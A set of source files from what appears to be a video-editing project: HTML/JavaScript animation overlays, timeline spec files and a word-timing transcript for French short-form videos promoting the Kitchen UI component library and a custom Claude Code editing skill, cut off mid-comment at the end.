  #bars { left: 552px; top: 150px; width: 448px; height: 432px; }
  #bars .lab { position: absolute; left: 32px; top: 26px; font-size: 36px; font-weight: 700; }
  .bar { position: absolute; bottom: 92px; width: 116px; border-radius: 14px 14px 4px 4px; }
  .bv { position: absolute; width: 224px; text-align: center; font-size: 42px; line-height: 1; }
  .bl { position: absolute; bottom: 34px; width: 224px; text-align: center; font-size: 34px; font-weight: 600; }
  #base { position: absolute; left: 28px; right: 28px; bottom: 90px; height: 3px; background: #14161B; border-radius: 2px; }
  /* competitor table */
  #comp { left: 80px; top: 618px; width: 920px; height: 432px; }
  #chead { left: 0; top: 0; width: 920px; height: 84px; }
  #chead .t { position: absolute; left: 32px; top: 22px; font-size: 38px; font-weight: 700; }
  #chead .via { position: absolute; right: 32px; top: 20px; display: flex; align-items: center; gap: 12px; font-size: 34px; font-weight: 600; }
  #chead .via img { width: 44px; height: 44px; border-radius: 10px; }
  #cols { left: 0; top: 84px; width: 920px; height: 56px; border-bottom: 2px solid #efefef; box-sizing: border-box; font-size: 34px;
    font-weight: 600; color: #8e8e8e; }
  #cols div { position: absolute; top: 2px; }
  #row { left: 0; top: 140px; width: 920px; height: 292px; }
  #thumb { position: absolute; left: 32px; top: 22px; width: 120px; height: 213px; border-radius: 16px; overflow: hidden; }
  #thumb .g { position: absolute; inset: -30px; filter: blur(14px);
    background: radial-gradient(circle at 50% 38%, #e7d6c6 0 18%, transparent 34%), radial-gradient(circle at 30% 80%, #6d7480 0 22%, transparent 46%),
    linear-gradient(170deg, #b9a796, #7d7168 55%, #4f5560); }
  #thumb svg { position: absolute; left: 40px; top: 86px; }
  #av { position: absolute; left: 176px; top: 26px; width: 64px; height: 64px; border-radius: 50%; overflow: hidden;
    box-shadow: 0 0 0 3px #fff, 0 0 0 6px #d62976; }
  #av .g { position: absolute; inset: -12px; filter: blur(7px); background: radial-gradient(circle at 50% 40%, #d9b8a0 0 26%, #3d434c 60%); }
  .hb { position: absolute; border-radius: 12px; background: #d6d8dc; filter: blur(2.5px); }
  #chip { position: absolute; left: 176px; top: 170px; height: 58px; padding: 0 22px 0 16px; border-radius: 29px; background: #14161B; color: #fff;
    display: flex; align-items: center; gap: 10px; font-size: 34px; font-weight: 700; white-space: nowrap;
    box-shadow: 0 10px 20px -8px rgba(20,22,27,.45); }
  .cell { position: absolute; top: 34px; font-size: 38px; font-weight: 600; }
  #cviews { position: absolute; right: 32px; top: 22px; font-size: 60px; line-height: 1; text-align: right; }
  #x31 { position: absolute; right: 32px; top: 104px; text-align: right; }
  #x31 .x { font-size: 116px; line-height: 1; color: #258EFF; }
  #x31 .m { font-size: 34px; font-weight: 600; margin-top: 4px; }
  #hl { position: absolute; left: 12px; top: 8px; width: 896px; height: 274px; border-radius: 26px; box-sizing: border-box;
    border: 5px solid #258EFF; background: rgba(37,142,255,.06); }
</style></head>
<body><div id="root">

  <!-- bars panel (part 2) -->
  <div id="bars" class="card">
    <div class="lab">Vues</div>
    <div id="base"></div>
    <div class="bar" id="b1" style="left:82px;background:#14161B"></div>
    <div class="bar" id="b2" style="left:306px;background:#258EFF"></div>
    <div class="bv big" id="v1" style="left:12px">2&#8239;629</div>
    <div class="bv big" id="v2" style="left:212px;color:#258EFF">0</div>
    <div class="bl" style="left:28px">Mon reel</div>
    <div class="bl" style="left:212px">Concurrent</div>
  </div>

  <!-- competitor table (part 2) -->
  <div id="comp" class="card">
    <div id="chead" class="abs"><div class="t">Reels du concurrent</div>
      <div class="via grey">via Treg<img src="../assets/logos/treg.png"></div></div>
    <div id="cols" class="abs"><div style="left:32px">Reel</div><div style="left:420px">Durée</div><div style="left:540px">Date</div>
      <div style="right:32px">Vues</div></div>
    <div id="row" class="abs">
      <div id="hl"></div>
      <div id="thumb"><div class="g"></div>
        <svg width="40" height="40" viewBox="0 0 24 24"><path d="M7 4.5v15l12-7.5z" fill="#fff" fill-opacity=".92"/></svg></div>
      <div id="av"><div class="g"></div></div>
      <div class="hb" style="left:258px;top:32px;width:136px;height:26px"></div>
      <div class="hb" style="left:258px;top:72px;width:92px;height:20px;background:#e4e6e9"></div>
      <div id="chip"><svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.6" stroke-linecap="round"><circle cx="10.5" cy="10.5" r="6.5"/><path d="M15.5 15.5L21 21"/></svg>Accroche</div>
      <div class="cell" style="left:420px">48 s</div>
      <div class="cell" style="left:540px">1 oct.</div>
      <div id="cviews" class="big">62&#8239;755</div>
      <div id="x31"><div class="x big">x31</div><div class="m grey">sa médiane</div></div>
    </div>
  </div>

  <!-- Instagram insights (part 1, shrinks in part 2) -->
  <div id="ins" class="card">
    <div id="top" class="abs">
      <svg width="44" height="44" viewBox="0 0 24 24" fill="none" stroke="#14161B" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><path d="M15 4l-8 8 8 8"/></svg>
      <div class="t">Statistiques du reel</div>
      <img src="../assets/logos/instagram.png">
    </div>
    <div id="reel" class="abs">
      <img id="cover" src="../assets/images/my-reel-cover.jpg">
      <div class="meta grey" style="top:22px">Publié le 9 oct.</div>
      <div class="meta icons" style="top:86px">
        <span><svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#14161B" stroke-width="2.2" stroke-linejoin="round"><path d="M12 20.5s-8-4.6-8-10.4C4 7.3 6 5.5 8.3 5.5c1.6 0 2.9.9 3.7 2.2.8-1.3 2.1-2.2 3.7-2.2 2.3 0 4.3 1.8 4.3 4.6 0 5.8-8 10.4-8 10.4z"/></svg>72</span>
        <span><svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#14161B" stroke-width="2.2" stroke-linejoin="round"><path d="M20.5 11.6a8.5 8.5 0 1 1-3.6-6.9 8.4 8.4 0 0 1 3.6 6.9zM20.5 11.6c0 1.9-.6 3.7-1.7 5.1l1.4 3.8-4-1.3"/></svg>51</span>
        <span><svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#14161B" stroke-width="2.2" stroke-linejoin="round"><path d="M6 3.5h12v17l-6-5.2-6 5.2z"/></svg>105</span>
      </div>
      <div class="meta" style="top:158px"><span class="grey">Comptes touchés</span>&nbsp;&nbsp;<b>1&#8239;982</b></div>
    </div>
    <div id="views" class="abs">
      <div class="lab">Vues</div>
      <div id="vnum" class="big">0</div>
      <svg id="spark" width="920" height="220">
        <line id="ceil" x1="470" y1="64" x2="876" y2="64" stroke="#14161B" stroke-linecap="round"/>
        <path id="sp" d="M470 196 L690 66 L876 66" fill="none" stroke="#258EFF" stroke-width="7" stroke-linecap="round" stroke-linejoin="round" pathLength="1"/>
        <circle id="hit" cx="690" cy="66" r="11" fill="#14161B"/>
      </svg>
      <div id="plaf" class="big">plafond</div>
    </div>
    <div id="ret" class="abs">
      <div class="lab">Rétention</div>
      <div id="watch"><span class="k grey">Durée moyenne regardée</span><span class="v big">0:10,8 <span style="font-size:36px;color:#737373">sur</span> 0:47</span></div>
      <svg id="chart" width="920" height="360">
        <defs><clipPath id="clip"><rect id="cr" x="40" y="120" width="0" height="180"/></clipPath></defs>
        <rect id="band" x="0" y="140" width="0" height="150" fill="#258EFF" fill-opacity=".12"/>
        <line x1="44" y1="140" x2="876" y2="140" stroke="#e6e6e6" stroke-width="2" stroke-dasharray="8 8"/>
        <line x1="44" y1="290" x2="876" y2="290" stroke="#d0d0d0" stroke-width="2"/>
        <g clip-path="url(#clip)">
          <path id="area" fill="#14161B" fill-opacity=".07"/>
          <path id="curve" fill="none" stroke="#14161B" stroke-width="6" stroke-linecap="round" stroke-linejoin="round"/>
        </g>
        <line id="mk" x1="0" y1="128" x2="0" y2="290" stroke="#258EFF" stroke-width="5" stroke-linecap="round"/>
        <circle id="mkd" r="12" fill="#258EFF" stroke="#fff" stroke-width="4"/>
      </svg>
      <div class="ax grey" style="left:44px">0 s</div>
      <div class="ax grey" style="right:44px">47 s</div>
      <div id="pill">10 s</div>
    </div>
  </div>

</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const lerp = (a, b, p) => a + (b - a) * p;
const fmt = n => String(Math.round(n)).replace(/\B(?=(\d{3})+(?!\d))/g, ' ');

// retention curve: 100 % holds, drops hard around 10 s, stays low to 47 s
const PX0 = 44, PW = 832, PY0 = 140, PH = 150, DUR = 47;
const ret = s => { const hold = 100 - 1.6 * s, low = 22 - .16 * (s - 10), d = 1 / (1 + Math.exp(-(s - 10.6) * 1.7)); return hold * (1 - d) + low * d; };
const X = s => PX0 + s / DUR * PW, Y = r => PY0 + (1 - r / 100) * PH;
let dC = '';
for (let i = 0; i <= 240; i++) { const s = i / 240 * DUR; dC += (i ? ' L' : 'M') + X(s).toFixed(1) + ' ' + Y(ret(s)).toFixed(1); }
$('curve').setAttribute('d', dC);
$('area').setAttribute('d', dC + ` L${X(DUR)} ${PY0 + PH} L${PX0} ${PY0 + PH} Z`);
const MX = X(10), MY = Y(ret(10));
$('mk').setAttribute('x1', MX); $('mk').setAttribute('x2', MX);
$('mkd').setAttribute('cx', MX); $('mkd').setAttribute('cy', MY);
$('pill').style.left = MX + 'px';

// rise-in helper: opacity + translateY from an offset, spring w
const rise = (el, x, dy = 28, w = 16, dx = 0) => { const p = S(x, w); el.style.opacity = clamp(p * 1.4); el.style.transform = `translate(${dx * (1 - p)}px, ${dy * (1 - p)}px)`; return p; };

window.setT = t => {
  // whip out to the left over the last .3 s
  const u = seg(t, 6.55, 6.85);
  $('root').style.transform = `translateX(${-1150 * u * u}px)`;

  // ---- part 1: insights card
  const pin = S(t, 15), ph = S(t - 2.15, 12), sh = S(t - 4.10, 11);
  const ins = $('ins');
  ins.style.opacity = clamp(pin * 1.6);
  ins.style.height = lerp(540, 900, ph) + 'px';
  ins.style.transform = `translateY(${70 * (1 - pin)}px) scale(${lerp(.97, 1, pin) * lerp(1, .48, sh)})`;
  rise($('top'), t - .04, 20);
  rise($('reel'), t - .12, 26);
  rise($('views'), t - .22, 26);

  // views count 0 -> 2 629, climbs to the ceiling, stops dead at 1.62, then the line runs flat
  const q = seg(t, .75, 1.62), qe = Math.pow(q, 1.25), fl = seg(t, 1.62, 2.05);
  const CL = .553, f = q < 1 ? CL * qe : CL + (1 - CL) * fl;
  $('vnum').textContent = fmt(2629 * qe);
  const sp = $('sp'); sp.style.strokeDasharray = '1 1'; sp.style.strokeDashoffset = 1 - f; sp.style.opacity = t >= .75 ? 1 : 0;
  const hitp = S(t - 1.62, 22);
  const ceil = $('ceil');
  ceil.setAttribute('stroke-dasharray', hitp > .5 ? 'none' : '10 12');
  ceil.setAttribute('stroke-width', lerp(3, 7, hitp));
  ceil.setAttribute('stroke-opacity', lerp(.35, 1, hitp) * clamp(S(t - .6, 14) * 1.5));
  $('hit').style.opacity = hitp; $('hit').setAttribute('r', lerp(6, 11, hitp));
  const pl = $('plaf'); const plp = S(t - .7, 14); pl.style.opacity = lerp(.0, .45, clamp(plp * 1.4)) + .55 * hitp; pl.style.transform = `translateY(${16 * (1 - plp)}px)`;

  // retention section
  const r = $('ret'); r.style.opacity = clamp(ph * 1.5); r.style.transform = `translateY(${40 * (1 - ph)}px)`;
  rise($('watch'), t - 2.25, 22);
  const cp = seg(t, 2.38, 3.30), cpe = 1 - Math.pow(1 - cp, 1.6);
  $('cr').setAttribute('width', 4 + (PW + 12) * cpe);
  // drop zone tint (9 s -> 47 s) on "partaient"
  const bp = S(t - 2.88, 9);
  $('band').setAttribute('x', X(9)); $('band').setAttribute('width', (X(DUR) - X(9)) * bp);
  // blue marker lands at 10 s on "dixième"
  const mp = S(t - 3.34, 16);
  $('mk').setAttribute('y1', lerp(290, 128, mp)); $('mk').style.opacity = clamp(mp * 3);
  const dp = S(t - 3.42, 18); $('mkd').style.opacity = clamp(dp * 2); $('mkd').setAttribute('r', lerp(6, 12, dp));
  const pp = S(t - 3.50, 16); const pill = $('pill'); pill.style.opacity = clamp(pp * 1.6); pill.style.transform = `translate(-50%, ${18 * (1 - pp)}px)`;

  // ---- part 2: competitor row, bars panel
  const cpn = rise($('comp'), t - 4.18, 36, 13);
  const bpn = S(t - 5.37, 13); const bars = $('bars'); bars.style.opacity = clamp(bpn * 1.5); bars.style.transform = `translateY(${28 * (1 - bpn)}px) scale(${lerp(.96, 1, bpn)})`;
  const H = 240, myH = 2629 / 62755 * H;
  const g1 = S(t - 5.52, 12); $('b1').style.height = (myH * g1) + 'px';
  $('v1').style.bottom = (92 + 14 + myH * g1) + 'px'; $('v1').style.opacity = clamp(g1 * 1.5);
  const g2 = S(t - 6.04, 11); $('b2').style.height = (H * g2) + 'px';
  $('v2').style.bottom = (92 + 14 + H * g2) + 'px'; $('v2').textContent = fmt(62755 * g2); $('v2').style.opacity = clamp(g2 * 3);
  rise($('chip'), t - 4.63, 0, 15, -40);
  const hp = S(t - 5.18, 14); const hl = $('hl'); hl.style.opacity = hp; hl.style.transform = `scale(${lerp(1.025, 1, hp)})`;
  rise($('x31'), t - 6.20, 36, 15);
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- YouTube Short end (short-kitchen-composants-premium, variants/short): no comment CTA on YouTube. On « Le lien est juste
     ici. » a paper card springs in at the top (Kitchen's real icon, the black disc of dqnamo.com, + « Kitchen, par dqnamo »), τ .35 the blue link chip drops under it, held to the end.
     style papier: Bricolage Grotesque 800, paper #FCFBF8, blue #1F5BFF, deep soft shadows. Alpha 1080x1920, y 150-470.
     window.setT(t): every state is a pure function of t. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; font-family: "Bricolage Grotesque"; }
  .c { position: absolute; left: 540px; width: max-content; white-space: nowrap; display: flex; align-items: center; opacity: 0; }
  #card { top: 160px; gap: 22px; padding: 18px 34px 18px 18px; border-radius: 40px; background: #FCFBF8; transform-origin: 50% 50%;
    box-shadow: 0 30px 56px -24px rgba(40,28,10,.46), 0 12px 22px -10px rgba(40,28,10,.24), 0 1px 3px rgba(40,28,10,.10), 0 0 0 1.5px rgba(40,28,10,.06), inset 0 2px 0 #FFFFFF; }
  #card img { width: 72px; height: 72px; border-radius: 18px; display: block; box-shadow: 0 4px 8px -2px rgba(40,28,10,.25); }
  #card .dot { width: 60px; height: 60px; margin: 6px; border-radius: 50%; background: #000; display: block; }
  #card span { font-weight: 800; font-size: 46px; letter-spacing: -.6px; line-height: 54px; color: #14161B; }
  #link { top: 310px; gap: 20px; padding: 24px 44px 24px 36px; border-radius: 46px; background: #1F5BFF; transform-origin: 50% 0%;
    box-shadow: 0 36px 64px -26px rgba(20,40,120,.55), 0 14px 26px -12px rgba(20,40,120,.35), inset 0 2px 0 rgba(255,255,255,.22); }
  #link span { font-weight: 800; font-size: 76px; letter-spacing: -1.6px; line-height: 86px; color: #FFFFFF; }
  #link b { font-weight: 800; color: #C9D8FF; }
  #link svg { width: 66px; height: 66px; display: block; }
</style>
</head><body>
<div class="c" id="card"><i class="dot"></i><span>Kitchen, par dqnamo</span></div>
<div class="c" id="link"><svg viewBox="0 0 24 24" fill="none" stroke="#C9D8FF" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><path d="M10 13a5 5 0 0 0 7.5.5l3-3a5 5 0 0 0-7-7l-1.7 1.7"/><path d="M14 11a5 5 0 0 0-7.5-.5l-3 3a5 5 0 0 0 7 7l1.7-1.7"/></svg><span>dqnamo.com<b>/kitchen</b></span></div>
<script>
const $ = id => document.getElementById(id);
// critically damped spring from rest: never overshoots
const S = (x, w = 16) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
window.setT = function (t) {
  const a = $('card'), p = S(t, 30);
  a.style.opacity = t >= 0 ? Math.min(1, t / .06) : 0;
  a.style.transform = `translateX(-50%) translateY(${-24 * (1 - p)}px) scale(${.9 + .1 * p})`;
  const c = $('link'), d = t - .35;
  c.style.opacity = d >= 0 ? Math.min(1, d / .06) : 0;
  c.style.transform = `translateX(-50%) translateY(${-18 * (1 - S(d, 40))}px) scale(${.94 + .06 * S(d, 45)})`;
};
window.setT(0);
</script></body></html>

// Short: "La librairie UI la plus premium" (remake of @adrien.ninet DeO7DugISSR), style hard-cuts + mix.
// Kitchen by dqnamo (dqnamo.com/kitchen), every component shown in its real capture (source/rec/rec.mjs).
// Hard cuts between split 1160 (a component on the paper), full camera 0 (link phrases, dry punch-in on the strong
// word) and paper alone 1920 (the big objects: the grid, the toque, the receipt printer, the tactile button, the
// GitHub repo, Claude Code). One B-roll on « trop facile » (the creator walking into a kitchen, laughing). CTA = full camera
// + the Instagram Reels overlay with KITCHEN typed. All times are SOURCE seconds (files/words.md).
const clip = (src) => ({ src, width: 1080, alpha: true });
const cap = (src, dur) => ({ src: `assets/media/${src}.mp4`, from: 0, dur, width: 1080 });
const P = 400;   // spring stiffness of an instant punch-in
const IMG = n => `assets/images/paper/${n}.png`;
window.SPEC = {
  title: 'La librairie UI la plus premium',
  media: {
    receipt: cap('receipt-c', 7.5), grid: cap('grid-c', 8), cassette: cap('cassette', 7), hold: cap('hold-c', 6.5),
    tactile: cap('tactile-c', 4.5), home: cap('home-c', 4.5), ghrepo: cap('ghrepo-c', 5.5), code: cap('code-c', 4.5),
    igcta: clip('assets/ig-cta.mov'),
    // B-roll library: b0374ad47 (the creator walks into a bright kitchen, laughing)
    easy: { src: 'B-roll/kitchen-walk.mp4', from: .4, dur: 2.0, fill: true },
  },
  broll: [{ media: 'easy', from: 37.42, to: 39.30, zoom: .03 }],
  cam: { crop: [348, 0, 1200, 1080], eyes: [599, 391] },
  cut: [],
  // one shot every 1.2-2.8 s (short time)
  layout: { keys: [
    [0, 1160], [8.06, 1920], [9.72, 1160], [11.16, 0], [13.00, 1920], [14.78, 1160], [24.40, 1920],
    [27.88, 0], [30.78, 1920], [33.94, 1160], [35.12, 1920], [39.30, 0]] },
  zoom: { keys: [[0, 1],
    [11.16, 1.08, P], [12.46, 1.12, P], [13.00, 1, P],
    [27.88, 1.08, P], [29.70, 1.13, P], [30.78, 1, P],
    [39.30, 1.04, P], [43.58, 1.1, P], [44.64, 1.04, P]] },
  actors: [
    // hook: the ticket already printing on frame 0, under « Des boutons comme de vrais objets »
    { id: 'receipt0', media: 'receipt', offset: 2.6, from: 0, to: 8.06, pre: 0, ar: 1.409, keys: [[0, [230, 280, 620]]] },
    { id: 'grid', media: 'grid', offset: 1.2, from: 8.06, to: 9.72, pre: 0, ar: .951, keys: [[8.06, [40, 420, 1000]]] },
    { id: 'home', media: 'home', offset: .2, from: 9.72, to: 11.16, pre: 0, ar: .705, keys: [[9.72, [40, 330, 1000]]] },
    { id: 'cassette', media: 'cassette', offset: .6, from: 14.78, to: 20.86, pre: 0, ar: .643, keys: [[14.78, [60, 270, 960]]] },
    // the fill ends on « confirmer »
    { id: 'hold', media: 'hold', offset: .8, from: 20.86, to: 24.40, pre: 0, ar: .391, keys: [[20.86, [30, 480, 1020]]] },
    // « mon préféré » big: the print starts on « imprime »
    { id: 'receipt', media: 'receipt', offset: 1.28, from: 24.40, to: 27.88, pre: 0, ar: 1.409, keys: [[24.40, [90, 170, 900]]] },
    // re-hook « ultra simple »: the Tactile Button pressed
    { id: 'tactile', media: 'tactile', offset: .4, from: 30.78, to: 32.56, pre: 0, ar: .56, keys: [[30.78, [40, 520, 1000]]] },
    { id: 'ghrepo', media: 'ghrepo', offset: .3, from: 32.56, to: 33.94, pre: 0, ar: .98, keys: [[32.56, [40, 300, 1000]]] },
    // the Copy click lands on « copies »
    { id: 'code', media: 'code', offset: 2.0, from: 33.94, to: 35.12, pre: 0, ar: .597, keys: [[33.94, [20, 400, 1040]]] },
  ],
  scenes: [
    { type: 'board', from: 0, to: 9.72, push: 0, items: [
      { k: 'text', text: 'Des boutons comme', at: 0, shown: true, x: 540, y: 130, size: 78, quiet: true, slot: false },
      { k: 'text', text: 'de vrais objets', at: 0, shown: true, x: 540, y: 225, size: 78, emph: 'vrais objets', emphAt: .9, quiet: true, slot: false }] },
    // « aux petits oignons »: the paper toque puts a button on a plate, a chef's kiss on « oignons »
    { type: 'board', from: 13.00, to: 14.78, items: [
      { k: 'img', img: IMG('chef-plate'), at: 13.00, shown: true, x: 470, y: 760, s: 1080, rot: -.03, slot: false },
      { k: 'img', img: IMG('chefs-kiss'), at: 14.12, x: 850, y: 330, s: 360, rot: .1, slot: false }] },
    // the link pasted into Claude Code (real logo)
    { type: 'board', from: 35.12, to: 37.42, push: 0, items: [
      { k: 'term', at: 35.12, x: 540, y: 760, w: 1000, h: 640, size: 28, logo: 'assets/logos/claude.png', name: 'Claude Code',
        cmd: 'Ajoute dqnamo.com/experiments/receipt-printer', focusAt: 35.12, typeFrom: 35.20, typeTo: 36.40,
        sendAt: 36.62, out: [{ text: 'Receipt Printer ajouté', at: 36.95 }], quiet: true, slot: false }] },
    // CTA full camera: KITCHEN typed in the real Reels comments
    { type: 'overlay', layer: 'over', media: 'igcta', from: 39.30, offset: 1.30, to: 99, fade: .15 },
  ],
  music: { bed: 'code-noir', offset: 9.8 },
  glitch: { keys: [[9.72, .4]] },
  sfx: {
    files: [{ at: 9.72, src: 'assets/sfx/zhhh-transition.wav', peak: true, gain: -6 }],
    // the ticket drops (discreet), the tactile presses
    extra: [[27.15, 'pop', .07]],
  },
  captions: {
    style: 'rise', phrase: true, maxWords: 4, maxChars: 18, paperY: 1560,
    replace: [['Cloud Code', 'Claude Code'], ['Commande Kitchen', 'Commente KITCHEN'], ['commande Kitchen', 'commente KITCHEN']],
    hide: [],
    hook: {
      spans: [[0, 9.70], [29.54, 32.56], [39.30, 99]],
      style: 'stack', size: 60, font: 'DM Sans', weight: 900, bigFont: 'Bricolage Grotesque', bigWeight: 800,
      stretch: 'semi-condensed', bigBlock: 'emph', blurIn: true, tuck: true, keyMin: 6, maxWords: 5, maxChars: 32,
      big: 2.4, smallW: 580, stagger: 60, margin: 130,
      fullY: 1250, zoomDrop: 320, paperScale: 1.35, paperColor: '#14161B', split: 'stack', splitScale: .75, splitDy: 110,
      emph: ['premium', 'simple', 'KITCHEN'], yKeys: [[39.30, 1000]],
    },
  },
};

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 28.72s (source 46.336s, 34 keeps)

| src | short | word |
|---|---|---|
| 6.62 | 0.02 | C'est |
| 6.76 | 0.14 | sûrement |
| 7.06 | 0.40 | la |
| 7.14 | 0.47 | librairie |
| 7.60 | 0.87 | UI |
| 7.94 | 1.17 | la |
| 8.06 | 1.27 | plus |
| 8.28 | 1.43 | premium |
| 8.76 | 1.82 | que |
| 8.86 | 1.91 | j'ai |
| 9.02 | 2.05 | jamais |
| 9.28 | 2.27 | vue. |
| 9.72 | 2.42 | Ça |
| 9.84 | 2.53 | s'appelle |
| 10.22 | 2.86 | Kitchen |
| 10.80 | 3.30 | et |
| 10.88 | 3.37 | le |
| 11.00 | 3.48 | nom |
| 11.16 | 3.62 | est |
| 11.36 | 3.76 | parfait |
| 11.84 | 4.12 | parce |
| 12.02 | 4.28 | que |
| 12.22 | 4.45 | chaque |
| 12.46 | 4.63 | composant |
| 13.00 | 5.07 | est |
| 13.20 | 5.22 | cuisiné |
| 13.68 | 5.63 | aux |
| 13.84 | 5.77 | petits |
| 14.12 | 6.02 | oignons. |
| 14.78 | 6.33 | Il |
| 14.86 | 6.40 | y |
| 14.94 | 6.47 | a |
| 14.98 | 6.50 | un |
| 15.14 | 6.64 | lecteur |
| 15.58 | 6.97 | cassette |
| 19.12 | 7.41 | avec |
| 19.42 | 7.67 | des |
| 19.62 | 7.84 | bobines |
| 20.02 | 8.19 | qui |
| 20.20 | 8.35 | tournent |
| 20.86 | 8.63 | et |
| 20.96 | 8.72 | un |
| 21.12 | 8.86 | bouton |
| 21.60 | 9.19 | Supprimer |
| 22.42 | 9.64 | où |
| 22.52 | 9.73 | tu |
| 22.62 | 9.81 | dois |
| 22.80 | 9.97 | maintenir |
| 23.22 | 10.34 | pour |
| 23.38 | 10.45 | pouvoir |
| 23.64 | 10.67 | confirmer. |
| 24.40 | 11.13 | Mais |
| 24.52 | 11.23 | mon |
| 24.64 | 11.34 | préféré, |
| 25.16 | 11.73 | c'est |
| 25.28 | 11.84 | le |
| 25.48 | 11.93 | checkout |
| 25.96 | 12.34 | qui |
| 26.12 | 12.45 | imprime |
| 26.46 | 12.75 | un |
| 26.60 | 12.87 | vrai |
| 26.86 | 13.10 | ticket |
| 27.16 | 13.36 | de |
| 27.32 | 13.50 | caisse |
| 27.88 | 13.98 | au |
| 27.98 | 14.07 | moment |
| 28.26 | 14.31 | où |
| 28.36 | 14.40 | le |
| 28.52 | 14.51 | paiement |
| 28.92 | 14.86 | passe. |
| 29.54 | 15.16 | Et |
| 29.70 | 15.30 | tiens-toi |
| 30.18 | 15.72 | prêt |
| 30.46 | 15.96 | parce |
| 30.64 | 16.12 | que |
| 30.78 | 16.24 | c'est |
| 31.04 | 16.47 | ultra |
| 31.46 | 16.84 | simple |
| 31.76 | 17.10 | à |
| 31.80 | 17.13 | installer. |
| 32.56 | 17.53 | Le |
| 32.72 | 17.67 | code |
| 32.92 | 17.84 | est |
| 33.06 | 17.96 | sur |
| 33.30 | 18.17 | chaque |
| 33.54 | 18.38 | page. |
| 33.94 | 18.73 | Tu |
| 34.04 | 18.82 | le |
| 34.14 | 18.90 | copies |
| 34.40 | 19.13 | dans |
| 34.56 | 19.27 | ton |
| 34.70 | 19.39 | projet |
| 35.12 | 19.76 | ou |
| 35.22 | 19.84 | tu |
| 35.40 | 20.00 | files |
| 35.60 | 20.17 | directement |
| 36.14 | 20.64 | ça |
| 36.42 | 20.89 | à |
| 36.62 | 21.03 | Cloud |
| 36.86 | 21.24 | Code. |
| 37.42 | 21.47 | Franchement, |
| 37.94 | 21.86 | c'est |
| 38.14 | 22.01 | beaucoup |
| 38.44 | 22.27 | trop |
| 38.68 | 22.48 | facile. |
| 39.38 | 22.85 | Commande |
| 39.76 | 23.18 | Kitchen |
| 40.24 | 23.57 | et |
| 40.30 | 23.62 | je |
| 40.38 | 23.69 | t'envoie |
| 40.64 | 23.92 | le |
| 40.74 | 24.01 | lien |
| 40.88 | 24.13 | de |
| 40.94 | 24.18 | la |
| 41.02 | 24.25 | librairie |
| 41.50 | 24.64 | complète |
| 42.20 | 25.22 | du |
| 42.30 | 25.30 | moment |
| 42.48 | 25.46 | que |
| 42.56 | 25.53 | tu |
| 42.66 | 25.62 | me |
| 42.76 | 25.70 | suis |
| 42.94 | 25.86 | sur |
| 43.08 | 25.98 | Instagram. |
| 43.58 | 26.42 | Donc |
| 43.74 | 26.56 | commence |
| 44.02 | 26.80 | par |
| 44.16 | 26.92 | me |
| 44.30 | 27.04 | suivre |
| 44.64 | 27.34 | immédiatement |
| 45.16 | 27.74 | et |
| 45.24 | 27.80 | ensuite |
| 45.54 | 28.04 | commande |
| 45.82 | 28.28 | Kitchen. |

// Short: "J'ai construit mon propre skill de montage". All times are SOURCE seconds (files/words.md).
const CLAUDE = 'assets/logos/claude.png';
window.SPEC = {
  title: 'Mon propre skill de montage',
  media: {},
  cam: { crop: [264, 0, 1200, 1080], eyes: [600, 739] },
  cut: [],
  layout: { keys: [[0, 1160]] },
  zoom: { keys: [[0, 1]] },
  actors: [],
  scenes: [
    // 1. hook: every editing skill fails in Claude Code
    { type: 'board', from: 0, to: 5.9, pre: .5, items: [
      { k: 'term', cmd: '/montage-video', w: 960, h: 640, size: 48, logo: CLAUDE, name: 'Claude Code', x: 540, y: 560, at: 0, pre: .5, shown: true,
        typeFrom: 0.3, typeTo: 1.3, sendAt: 1.5,
        out: [{ text: '✗ render failed', at: 2.2 }, { text: '✗ ffmpeg: no such file', at: 3.2 }, { text: '✗ timeline is empty', at: 4.6 }] },
    ] },
    // 2. "ils n'hésitent pas à te les vendre": the price, struck on "énervé"
    { type: 'board', from: 6.0, to: 8.4, items: [
      { k: 'counter', value: 97, suffix: ' €', size: 260, x: 540, y: 500, at: 6.1, countFrom: 6.4, countTo: 7.0, strikeAt: 7.7, strikeW: 560 },
      { k: 'chip', text: 'Skill de montage', size: 46, x: 540, y: 760, at: 6.85 },
    ] },
    // 3. "j'ai construit le mien": the folder appears line by line
    { type: 'tree', from: 8.5, to: 11.3, rect: [90, 280, 900], size: 66, lines: [
      { text: 'short-editing/', at: 8.6 },
      { text: '├── engine/', at: 9.4 },
      { text: '├── references/', at: 9.9 },
      { text: '└── SKILL.md', at: 10.15 },
    ] },
    // 4. payoff: this video was edited with it
    { type: 'board', from: 11.36, items: [
      { k: 'logo', logo: CLAUDE, s: 150, x: 540, y: 330, at: 11.36 },
      { k: 'text', text: 'Cette vidéo', size: 96, x: 540, y: 560, at: 11.40 },
      { k: 'text', text: 'montée avec.', emph: 'avec.', emphAt: 12.85, size: 96, x: 540, y: 690, at: 12.69 },
      { k: 'check', s: 90, x: 540, y: 880, at: 13.80 },
    ] },
  ],
  music: { bed: 'arpege', offset: 0 },
  sfx: { swish: 0, accents: 0, extra: [[7.7, 'thud', -6], [13.8, 'thud', -4]] },
  captions: {
    replace: [['clics cloud', 'skills Claude'], ['montées', 'de montage']],
    emph: ['marchent', 'vendre', 'mien.', 'marche.'],
    hide: [[11.36, 13.3]],
  },
};

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Comment CTA, TikTok version of ig-cta.html (short-kitchen-composants-premium, variants/tiktok): same clock as ig-cta.html
     (overlay from source 39.30 with offset 1.30, clip time = short time - 21.50), the camera full screen and the TikTok For You
